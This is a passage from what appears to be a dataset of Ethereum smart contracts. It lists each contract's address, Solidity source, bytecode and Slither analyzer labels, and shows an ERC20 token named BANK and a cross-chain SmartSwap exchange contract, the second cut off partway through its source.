address
stringlengths
42
42
source_code
stringlengths
32
1.21M
bytecode
stringlengths
2
49.2k
slither
sequence
0xf2d8e2e7f355a66d5b05baba3bee295a89796382
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // ---------------------------------------------------------------------------- // US Crypto Bank Token // // Deployed to : 0xeD93C9bf1559652dD74CeEFD1192022D32D3DDfe // Symbol : BANK // Name : US Crypto Bank // Total supply: 5,000,000,000 // Decimals :18 // // Deployed by US Crypto Bank Ecosystem // ---------------------------------------------------------------------------- /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Burn `amount` tokens from 'owner' * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function burn(uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable is Context { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract BANK is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimal; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_, uint8 decimal_, uint256 totalSupply_) { _name = name_; _symbol = symbol_; _decimal = decimal_; _mint(_msgSender(), totalSupply_); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return _decimal; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual onlyOwner override returns (bool) { _burn(_msgSender(), amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b411461019d578063a457c2d7146101a5578063a9059cbb146101b8578063dd62ed3e146101cb576100cf565b806342966c681461016257806370a08231146101755780638da5cb5b14610188576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc6101de565b6040516100e99190610880565b60405180910390f35b610105610100366004610820565b610270565b6040516100e99190610875565b61011a61028d565b6040516100e99190610b37565b6101056101353660046107e5565b610293565b610142610333565b6040516100e99190610b40565b61010561015d366004610820565b61033c565b610105610170366004610849565b61038b565b61011a610183366004610792565b6103bd565b6101906103d8565b6040516100e99190610861565b6100dc6103e7565b6101056101b3366004610820565b6103f6565b6101056101c6366004610820565b610471565b61011a6101d93660046107b3565b610485565b6060600580546101ed90610b7d565b80601f016020809104026020016040519081016040528092919081815260200182805461021990610b7d565b80156102665780601f1061023b57610100808354040283529160200191610266565b820191906000526020600020905b81548152906001019060200180831161024957829003601f168201915b5050505050905090565b600061028461027d6104b0565b84846104b4565b50600192915050565b60035490565b60006102a0848484610568565b6001600160a01b0384166000908152600260205260408120816102c16104b0565b6001600160a01b03166001600160a01b031681526020019081526020016000205490508281101561030d5760405162461bcd60e51b8152600401610304906109e0565b60405180910390fd5b610328856103196104b0565b6103238685610b66565b6104b4565b506001949350505050565b60045460ff1690565b60006102846103496104b0565b8484600260006103576104b0565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546103239190610b4e565b600080546001600160a01b031633146103a357600080fd5b6103b46103ae6104b0565b83610690565b5060015b919050565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b031681565b6060600680546101ed90610b7d565b600080600260006104056104b0565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156104515760405162461bcd60e51b815260040161030490610af2565b61046761045c6104b0565b856103238685610b66565b5060019392505050565b600061028461047e6104b0565b8484610568565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166104da5760405162461bcd60e51b815260040161030490610aae565b6001600160a01b0382166105005760405162461bcd60e51b815260040161030490610958565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061055b908590610b37565b60405180910390a3505050565b6001600160a01b03831661058e5760405162461bcd60e51b815260040161030490610a69565b6001600160a01b0382166105b45760405162461bcd60e51b8152600401610304906108d3565b6105bf838383610776565b6001600160a01b038316600090815260016020526040902054818110156105f85760405162461bcd60e51b81526004016103049061099a565b6106028282610b66565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610638908490610b4e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106829190610b37565b60405180910390a350505050565b6001600160a01b0382166106b65760405162461bcd60e51b815260040161030490610a28565b6106c282600083610776565b6001600160a01b038216600090815260016020526040902054818110156106fb5760405162461bcd60e51b815260040161030490610916565b6107058282610b66565b6001600160a01b03841660009081526001602052604081209190915560038054849290610733908490610b66565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061055b908690610b37565b505050565b80356001600160a01b03811681146103b857600080fd5b6000602082840312156107a3578081fd5b6107ac8261077b565b9392505050565b600080604083850312156107c5578081fd5b6107ce8361077b565b91506107dc6020840161077b565b90509250929050565b6000806000606084860312156107f9578081fd5b6108028461077b565b92506108106020850161077b565b9150604084013590509250925092565b60008060408385031215610832578182fd5b61083b8361077b565b946020939093013593505050565b60006020828403121561085a578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b818110156108ac57858101830151858201604001528201610890565b818111156108bd5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610b6157610b61610bb8565b500190565b600082821015610b7857610b78610bb8565b500390565b600281046001821680610b9157607f821691505b60208210811415610bb257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212204aa9e1b7e01806370da826704cf21eb47fb5cc70007f2e0294b7d4e23e26bd0f64736f6c63430008010033
[ 38 ]
0xf2d9cc7829ffa3e0961b0d9760de0e4baace88ff
// SPDX-License-Identifier: No License (None) pragma solidity ^0.8.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } interface IERC20 { function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } interface IValidator { // returns rate (with 18 decimals) = Token B price / Token A price function getRate(address tokenA, address tokenB) external returns (uint256); // returns: user balance, native (foreign for us) encoded balance, foreign (native for us) encoded balance function checkBalances(address factory, address[] calldata user) external returns(uint256); // returns: user balance function checkBalance(address factory, address user) external returns(uint256); // returns: oracle fee function getOracleFee(uint256 req) external returns(uint256); //req: 1 - cancel, 2 - claim, returns: value } interface IReimbursement { // returns fee percentage with 2 decimals function getLicenseeFee(address vault, address projectContract) external view returns(uint256); // returns fee receiver address or address(0) if need to refund fee to user. function requestReimbursement(address user, uint256 feeAmount, address vault) external returns(address); } interface ISPImplementation { function initialize( address _owner, // contract owner address _nativeToken, // native token that will be send to SmartSwap address _foreignToken, // foreign token that has to be received from SmartSwap (on foreign chain) address _nativeTokenReceiver, // address on Binance to deposit native token address _foreignTokenReceiver, // address on Binance to deposit foreign token uint256 _feeAmountLimit // limit of amount that System withdraw for fee reimbursement ) external; function owner() external returns(address); } interface IAuction { function contributeFromSmartSwap(address payable user) external payable returns (bool); function contributeFromSmartSwap(address token, uint256 amount, address user) external returns (bool); } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ /* we use proxy, so owner will be set in initialize() function constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } */ /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract SmartSwap is Ownable { struct Cancel { uint64 pairID; // pair ID address sender; // user who has to receive canceled amount uint256 amount; // amount of token user want to cancel from order //uint128 foreignBalance; // amount of token already swapped (on other chain) } struct Claim { uint64 pairID; // pair ID address sender; // address who send tokens to swap address receiver; // address who has to receive swapped amount uint64 claimID; // uniq claim ID bool isInvestment; // is claim to contributeFromSmartSwap uint128 amount; // amount of foreign tokens user want to swap uint128 currentRate; uint256 foreignBalance; //[0] foreignBalance, [1] foreignSpent, [2] nativeSpent, [3] nativeRate } struct Pair { address tokenA; address tokenB; } address constant NATIVE_COINS = 0x0000000000000000000000000000000000000009; // 1 - BNB, 2 - ETH, 3 - BTC uint256 constant NOMINATOR = 10**18; uint256 constant MAX_AMOUNT = 2**128; address public foreignFactory; address payable public validator; uint256 public rateDiffLimit; // allowed difference (in percent) between LP provided rate and Oracle rate. mapping(address => bool) public isSystem; // system address mey change fee amount address public auction; // auction address address public contractSmart; // the reimbursement contract address mapping (address => uint256) licenseeFee; // NOT USED. the licensee may set personal fee (in percent wih 2 decimals). It have to compensate this fee with own tokens. mapping (address => address) licenseeCompensator; // NOT USED. licensee contract which will compensate fee with tokens mapping(address => bool) public isExchange; // is Exchange address mapping(address => bool) public isExcludedSender; // address excluded from receiving SMART token as fee compensation // fees uint256 public swapGasReimbursement; // percentage of swap Gas Reimbursement by SMART tokens uint256 public companyFeeReimbursement; // percentage of company Fee Reimbursement by SMART tokens uint256 public cancelGasReimbursement; // percentage of cancel Gas Reimbursement by SMART tokens uint256 public companyFee; // the fee (in percent wih 2 decimals) that received by company. 30 - means 0.3% uint256 public processingFee; // the fee in base coin, to compensate Gas when back-end call claimTokenBehalf() address public feeReceiver; // address which receive the fee (by default is validator) uint256 private collectedFees; // amount of collected fee (starts from 1 to avoid additional gas usage) mapping(address => uint256) public decimals; // token address => token decimals uint256 public pairIDCounter; mapping(uint256 => Pair) public getPairByID; mapping(address => mapping(address => uint256)) public getPairID; // tokenA => tokenB => pair ID or 0 if not exist mapping(uint256 => uint256) public totalSupply; // pairID => totalSupply amount of tokenA on the pair // hashAddress = address(keccak256(tokenA, tokenB, sender, receiver)) mapping(address => uint256) private _balanceOf; // hashAddress => amount of tokenA mapping(address => Cancel) public cancelRequest; // hashAddress => amount of tokenA to cancel mapping(address => Claim) public claimRequest; // hashAddress => amount of tokenA to swap mapping(address => bool) public isLiquidityProvider; // list of Liquidity Providers uint256 claimIdCounter; // counter of claim requests address public reimbursementVault; //company vault address in reimbursement contract address public SPImplementation; // address of swap provider contract implementation uint256 public companySPFee; // the fee (in percent wih 2 decimals) that received by company from Swap provider. 30 - means 0.3% uint256 collectedProcessingFee; // ============================ Events ============================ event PairAdded(address indexed tokenA, address indexed tokenB, uint256 indexed pairID); event PairRemoved(address indexed tokenA, address indexed tokenB, uint256 indexed pairID); event SwapRequest( address indexed tokenA, address indexed tokenB, address indexed sender, address receiver, uint256 amountA, bool isInvestment, uint128 minimumAmountToClaim, // do not claim on user behalf less of this amount. Only exception if order fulfilled. uint128 limitPice // Do not match user if token A price less this limit ); event CancelRequest(address indexed hashAddress, uint256 amount); event CancelApprove(address indexed hashAddress, uint256 amount); event ClaimRequest(address indexed hashAddress, uint64 claimID, uint256 amount, bool isInvestment); event ClaimApprove(address indexed hashAddress, uint64 claimID, uint256 nativeAmount, uint256 foreignAmount, bool isInvestment); event ExchangeInvestETH(address indexed exchange, address indexed whom, uint256 value); event SetSystem(address indexed system, bool active); event AddSwapProvider(address swapProvider, address spContract); event PartialClaim(uint256 rest, uint256 totalSupply, uint256 nativeAmount); /** * @dev Throws if called by any account other than the system. */ modifier onlySystem() { require(isSystem[msg.sender] || isLiquidityProvider[msg.sender] || owner() == msg.sender, "Caller is not the system"); _; } // run only once from proxy function initialize(address newOwner) external { require(newOwner != address(0) && _owner == address(0)); // run only once _owner = newOwner; emit OwnershipTransferred(address(0), msg.sender); rateDiffLimit = 5; // allowed difference (in percent) between LP provided rate and Oracle rate. swapGasReimbursement = 100; // percentage of swap Gas Reimbursement by SMART tokens companyFeeReimbursement = 100; // percentage of company Fee Reimbursement by SMART tokens cancelGasReimbursement = 100; // percentage of cancel Gas Reimbursement by SMART tokens companyFee = 0; // the fee (in percent wih 2 decimals) that received by company. 30 - means 0.3% collectedFees = 1; // amount of collected fee (starts from 1 to avoid additional gas usage) } // get amount of collected fees that can be claimed function getColletedFees() external view returns (uint256) { // collectedFees starts from 1 to avoid additional gas usage to initiate storage (when collectedFees = 0) return collectedFees - 1; } // get amount of collected fees that can be claimed function getProcessingFees() external view returns (uint256) { // collectedFees starts from 1 to avoid additional gas usage to initiate storage (when collectedFees = 0) return collectedProcessingFee - 1; } function claimProcessingFees() external onlySystem returns (uint256 processingFeeAmount) { processingFeeAmount = collectedProcessingFee - 1; collectedProcessingFee = 1; TransferHelper.safeTransferETH(msg.sender, processingFeeAmount); } // claim fees by feeReceiver function claimFee() external returns (uint256 feeAmount) { require(msg.sender == feeReceiver); feeAmount = collectedFees - 1; collectedFees = 1; TransferHelper.safeTransferETH(msg.sender, feeAmount); } function balanceOf(address hashAddress) external view returns(uint256) { return _balanceOf[hashAddress]; } // return balance for swap function getBalance( address tokenA, address tokenB, address sender, address receiver ) external view returns (uint256) { return _balanceOf[_getHashAddress(tokenA, tokenB, sender, receiver)]; } function getHashAddress( address tokenA, address tokenB, address sender, address receiver ) external pure returns (address) { return _getHashAddress(tokenA, tokenB, sender, receiver); } //user should approve tokens transfer before calling this function. //if no licensee set it to address(0) function swap( address tokenA, // token that user send to swap ( address(1) for BNB, address(2) for ETH) address tokenB, // token that user want to receive ( address(1) for BNB, address(2) for ETH) address receiver, // address that will receive tokens on other chain (user's wallet address) uint256 amountA, // amount of tokens user sends to swap address licensee, // for now, = address(0) bool isInvestment, // for now, = false uint128 minimumAmountToClaim, // do not claim on user behalf less of this amount. Only exception if order fulfilled. For now, = 0 uint128 limitPice, // Do not match user if token A price less this limit. For now, = 0 uint256 fee // company + licensee fee amount ) external payable returns (bool) { _transferFee(tokenA, amountA, fee, msg.sender, licensee); _swap(tokenA, tokenB, msg.sender, receiver, amountA, isInvestment, minimumAmountToClaim, limitPice); return true; } function cancel( address tokenA, address tokenB, address receiver, uint256 amountA //amount of tokenA to cancel ) external payable returns (bool) { _cancel(tokenA, tokenB, msg.sender, receiver, amountA); return true; } function cancelBehalf( address tokenA, address tokenB, address sender, address receiver, uint256 amountA //amount of tokenA to cancel ) external onlySystem returns (bool) { _cancel(tokenA, tokenB, sender, receiver, amountA); return true; } function claimTokenBehalf( address tokenA, // foreignToken address tokenB, // nativeToken address sender, address receiver, bool isInvestment, uint128 amountA, //amount of tokenA that has to be swapped uint128 currentRate, // rate with 18 decimals: tokenA price / tokenB price uint256 foreignBalance // total tokens amount sent by user to pair on other chain ) external onlySystem returns (bool) { _claimTokenBehalf(tokenA, tokenB, sender, receiver, isInvestment, amountA, currentRate, foreignBalance); return true; } // add swap provider who will provide liquidity for swap (using centralized exchange) function addSwapProvider( address _nativeToken, // native token that will be send to SmartSwap address _foreignToken, // foreign token that has to be received from SmartSwap (on foreign chain) address _nativeTokenReceiver, // address on Binance to deposit native token address _foreignTokenReceiver, // address on Binance to deposit foreign token uint256 _feeAmountLimit // limit of amount that System may withdraw for fee reimbursement ) external returns (address spContract) { spContract = clone(SPImplementation); ISPImplementation(spContract).initialize( msg.sender, _nativeToken, _foreignToken, _nativeTokenReceiver, _foreignTokenReceiver, _feeAmountLimit ); isLiquidityProvider[spContract] = true; emit AddSwapProvider(msg.sender, spContract); } function balanceCallback(address hashAddress, uint256 foreignBalance) external returns(bool) { require (validator == msg.sender, "Not validator"); _cancelApprove(hashAddress, foreignBalance); return true; } function balancesCallback( address hashAddress, uint256 foreignBalance, // total user's tokens balance on foreign chain uint256 foreignSpent, // total tokens spent by SmartSwap pair uint256 nativeEncoded // (nativeRate, nativeSpent) = _decode(nativeEncoded) ) external returns(bool) { require (validator == msg.sender, "Not validator"); _claimBehalfApprove(hashAddress, foreignBalance, foreignSpent, nativeEncoded); return true; } // get system variables for debugging function getPairVars(uint256 pairID) external view returns (uint256 native, uint256 foreign, uint256 foreignRate) { address nativeHash = _getHashAddress(getPairByID[pairID].tokenA, getPairByID[pairID].tokenB, address(0), address(0)); address foreignHash = _getHashAddress(getPairByID[pairID].tokenB, getPairByID[pairID].tokenA, address(0), address(0)); // native - amount of native tokens that swapped from available foreign native = _balanceOf[nativeHash]; // foreign = total foreign tokens already swapped // foreignRate = rate (native price / foreign price) of available foreign tokens on other chain (foreignRate, foreign) = _decode(_balanceOf[foreignHash]); // Example: assume system vars = 0, rate of prices ETH/BNB = 2 (or BNB/ETH = 0.5) // on ETH chain: // 1. claim ETH for 60 BNB == 60 * 0.5 = 30 ETH, // set: foreign = 60 BNB, foreignRate = 0.5 BNB/ETH prices (already swapped BNB) // // on BSC chain: // 2. claim BNB for 20 ETH, assume new rate of prices ETH/BNB = 4 (or BNB/ETH = 0.25) // get from ETH chain foreign(ETH) = 60 BNB, foreignRate(ETH) = 0.5 BNB/ETH prices // available amount of already swapped BNB = 60 BNB (foreign from ETH) - 0 BNB (native) = 60 BNB with rate 0.5 BNB/ETH // claimed BNB amount = 20 ETH / 0.5 BNB/ETH = 40 BNB (we use rate of already swapped BNB) // set: native = 40 BNB (we use BNB that was already swapped on step 1) // // 3. New claim BNB for 30 ETH, assume new rate of prices ETH/BNB = 4 (or BNB/ETH = 0.25) // get from ETH chain foreign(ETH) = 60 BNB, foreignRate(ETH) = 0.5 BNB/ETH prices // available amount of already swapped BNB = 60 BNB (foreign from ETH) - 40 BNB (native) = 20 BNB with rate 0.5 BNB/ETH // 20 BNB * 0.5 = 10 ETH (we claimed 20 BNB for 10 ETH with already swapped rate) // set: native = 40 BNB + 20 BNB = 60 BNB (we use all BNB that was already swapped on step 1) // claimed rest BNB amount for (30-10) ETH = 20 ETH / 0.25 BNB/ETH = 80 BNB (we use new rate) // set: foreign = 20 ETH, foreignRate = 0.25 BNB/ETH prices (already swapped ETH) } // ================== For Jointer Auction ========================================================================= // ETH side // function for invest ETH from from exchange on user behalf function contributeWithEtherBehalf(address payable _whom) external payable returns (bool) { require(isExchange[msg.sender], "Not an Exchange address"); address tokenA = address(2); // ETH (native coin) address tokenB = address(1); // BNB (foreign coin) uint256 amount = msg.value - processingFee; // charge processing fee amount = amount * 10000 / (10000 + companyFee); // charge company fee uint256 fee = msg.value - (amount + processingFee); // company fee emit ExchangeInvestETH(msg.sender, _whom, msg.value); _transferFee(tokenA, amount, fee, _whom, address(0)); // no licensee _swap(tokenA, tokenB, _whom, auction, amount, true,0,0); return true; } // BSC side // tokenB - foreign token address or address(1) for ETH // amountB - amount of foreign tokens or ETH function claimInvestmentBehalf( address tokenB, // foreignToken address user, uint128 amountB, //amount of tokenB that has to be swapped uint128 currentRate, // rate with 18 decimals: tokenB price / Native coin price uint256 foreignBalance // total tokens amount sent by user to pair on other chain ) external onlySystem returns (bool) { address tokenA = address(1); // BNB (native coin) _claimTokenBehalf(tokenB, tokenA, user, auction, true, amountB, currentRate, foreignBalance); return true; } // reimburse user for SP payment function reimburse(address user, uint256 amount) external onlySystem { address reimbursementContract = contractSmart; if (reimbursementContract != address(0) && amount !=0) { IReimbursement(reimbursementContract).requestReimbursement(user, amount, reimbursementVault); } } // ================= END For Jointer Auction =========================================================================== // ============================ Restricted functions ============================ // set processing fee - amount that have to be paid on other chain to claimTokenBehalf. // Set in amount of native coins (BNB or ETH) function setProcessingFee(uint256 _fee) external onlySystem returns(bool) { processingFee = _fee; return true; } /* // set licensee compensator contract address, if this address is address(0) - remove licensee. // compensator contract has to compensate the fee by other tokens. // licensee fee in percent with 2 decimals. I.e. 10 = 0.1% function setLicensee(address _licensee, address _compensator, uint256 _fee) external onlySystem returns(bool) { licenseeCompensator[_licensee] = _compensator; require(_fee < 10000, "too big fee"); // fee should be less then 100% licenseeFee[_licensee] = _fee; emit SetLicensee(_licensee, _compensator); return true; } // set licensee fee in percent with 2 decimals. I.e. 10 = 0.1% function setLicenseeFee(uint256 _fee) external returns(bool) { 